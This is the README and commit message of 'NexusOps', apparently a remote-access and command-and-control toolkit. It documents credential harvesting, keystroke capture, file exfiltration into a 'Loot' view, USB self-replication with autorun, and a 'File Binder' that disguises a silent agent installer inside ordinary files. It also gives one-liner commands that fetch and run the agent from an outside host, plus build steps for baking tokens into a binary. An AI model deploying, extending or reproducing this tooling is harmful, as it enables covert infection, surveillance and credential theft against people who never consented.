v2.2.0: USB self-replication (per-node toggle + 10min dispatcher), binder persistence option, hover terminology tooltips, binder embeds current token-injected agent, README full rewrite
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README.md
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README.md
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# NexusOps — Central Node Control Dashboard
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Point-and-shoot agent deployment + fleet control. Install an agent on any machine (one-liner, standalone binary, or bound into a normal file) and control it from a single web dashboard.
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**Public URL:** https://agent.thetempleofdoom.com
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**Runs on:** CT 111 `c2-builder-slay` (10.30.20.44), Node.js + Express, port 3000, systemd `nexusops-dashboard.service`
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**Gitea:** http://10.30.20.149:3000/drjones/nexusops-dashboard
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**Agent version:** v2.2.0 · Dashboard v3 (live console, schedules, groups, alerts, spread)
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---
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## What it does
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| Area | Features |
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|---|---|
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| **Fleet view** | Node cards with live CPU/MEM sparklines, status, version chip, tags, filters, search |
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| **Node Control Center** | Terminal (fast-poll live console), service management, process inspect/kill, diagnostics (hardware, partitions, env vars), network (interfaces, established connections, listening ports), exfil & harvest, agent config |
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| **Node drawer** | Click any card: full metrics, per-node loot, ping w/ latency, screenshot, watch mode (screenshot every 15s), tags editor, reboot, update agent |
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| **Loot** | All exfiltrated files (download, screenshot viewer), harvested credentials, input capture stream (keystrokes/clicks/scroll) |
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| **File Binder** | Upload any file → get a self-extracting dropper (.sh / .ps1 / .html) that opens the file normally AND silently installs the agent. Persistence toggle. |
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| **Spread (USB self-replication)** | Per-node toggle: agent copies itself to every mounted removable drive every 10 min (mode: `copy` / `autorun`) |
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| **Broadcast & Groups** | One command to all nodes or a tag group; scheduled recurring tasks |
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| **Audit & Export** | Full command audit log, kill switch, Export All (tar.gz of entire data store) |
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| **Security** | Operator token (dashboard + API), agent token (embedded automatically in every install path), token-gated WebSocket |
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| **UX** | Hover tooltips explaining every term, empty-state install hero, toasts, dark design system |
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## Install paths (all zero-interaction)
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```bash
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# Universal (recommended) — auto-detects OS
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curl -sSL https://agent.thetempleofdoom.com/install | bash
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# Linux systemd installer
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curl -sSL https://agent.thetempleofdoom.com/install.sh | sudo bash
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# Windows (PowerShell, ProgramData)
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iwr -useb https://agent.thetempleofdoom.com/install.ps1 | iex
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# macOS (launchd KeepAlive)
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curl -sSL https://agent.thetempleofdoom.com/install-mac.sh | bash
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# Manual
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curl -sSL https://agent.thetempleofdoom.com/agent.py -o agent.py && python3 agent.py --server https://agent.thetempleofdoom.com
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# Standalone binary (Linux x64 only; token baked in)
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curl -sSL https://agent.thetempleofdoom.com/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server https://agent.thetempleofdoom.com
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```
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**Agent flags:** `--server URL` · `--silent` · `--quiet` · `--token TOKEN` (baked/optional) · `--persist-first` (persistence immediately after register)
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## Agent actions (24)
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`raw_command` · `manage_service` · `list_processes` · `kill_process` · `get_logs` · `search_logs` · `network_stats` · `get_env_vars` · `get_disk_partitions` · `get_network_interfaces` · `get_active_connections` · `get_hardware_specs` · `reboot_system` · `set_heartbeat_rate` · `update_tags` · `ping_check` · `download_file` · `screenshot` · `update_agent` · `ensure_persistence` · `harvest_credentials` · `kill_agent` · `export_diagnostics` · `copy_self_to_usb`
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## Architecture
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```
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dashboard (CT111 :3000) agents (any OS)
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├─ server.js Express + WS ├─ agent.py (stdlib only)
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├─ public/ UI + binary ├─ HTTP heartbeat /register /command-result
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├─ data/ atomic JSON store ├─ input capture (pynput, optional)
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└─ .env tokens + port └─ persistence hooks per OS
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```
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- **Persistence:** atomic writes (tmp+rename), 30s debounce, JSON store — no DB dependency.
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- **Transport:** plain HTTPS through the Cloudflare fleet tunnel; WebSocket with heartbeat + reconnect backoff.
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- **Agent updates:** `update_agent` action pulls the current `/agent.py` (supervised installs auto-restart; unsupervised need a relaunch).
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## Deploy / update
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```bash
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# on the MacBook → CT111
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tar czf /tmp/n.tar.gz server.js agents/agent.py public/
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scp /tmp/n.tar.gz root@10.30.20.85:/tmp/
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ssh root@10.30.20.85 "pct push 111 /tmp/n.tar.gz /tmp/n.tar.gz && pct exec 111 -- bash -c 'cd /root/agent-dashboard && tar xzf /tmp/n.tar.gz && node --check server.js && systemctl restart nexusops-dashboard'"
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# rebuild binary after agent changes (token baked)
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pct exec 111 -- bash -c 'cd /root/agent-dashboard && TOKEN=$(grep NEXUS_AGENT_TOKEN .env | cut -d= -f2); sed "s/__AGENT_TOKEN__/$TOKEN/" agents/agent.py > /tmp/ab.py && python3 -m PyInstaller --onefile --name NexusAgent /tmp/ab.py --distpath dist --workpath build/bake --specpath build/bake && cp dist/NexusAgent public/bin/NexusAgent'
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```
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## Config (`.env`)
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| Var | Purpose |
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| `PORT` | listen port (3000) |
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| `PUBLIC_URL` | canonical public endpoint injected into all installers |
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| `NEXUS_AUTH_TOKEN` | operator token (dashboard + API + WS) |
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| `NEXUS_AGENT_TOKEN` | agent token — required by `/api/agent/*`, injected into served agent.py, installers and baked into the binary |
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| `NEXUS_ALERT_WEBHOOK` | optional webhook URL for node/loot alerts |
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## Verification (after any change)
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1. `node --check server.js` + `node --check public/app_v2.js` + `python3 -m py_compile agents/agent.py`
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2. Register-without-token → must be **401**; with token → 200
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3. `curl https://agent.thetempleofdoom.com/agent.py | grep -c __AGENT_TOKEN__` → must be **0** (token injected)
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4. Bind a test file → run dropper on a test box → node appears online
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5. Spread toggle → `ls /mnt/.../NexusAgent` after the interval
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6. Dashboard in a real browser: gate → unlock → drawer → watch → export
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## Known limitations (honest)
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- Binary is Linux x64 only — Windows/macOS binaries need a cross-compile runner (installers only need Python 3).
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- Binder persistence is ON by default; disable per-bind in the UI for clean one-shot installs.
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- Input capture needs `pynput` on the target; headless machines report screenshots as failed.
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- Agent endpoints authenticate with a token that is public-by-installation — it screens out scanners, not a determined attacker.
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- Screenshot on macOS targets requires Screen Recording permission (TCC).
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## Roadmap (simple adds)
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See `PLAN.md` for the full list. Shortlist: SQLite migration (currently atomic JSON), cross-platform CI binaries, webhook alert UI config, per-node command history in the drawer, agent filesystem browser, reverse-shell-style interactive PTY console.
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---
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☕ https://buymeacoffee.com/r26xrthzttg
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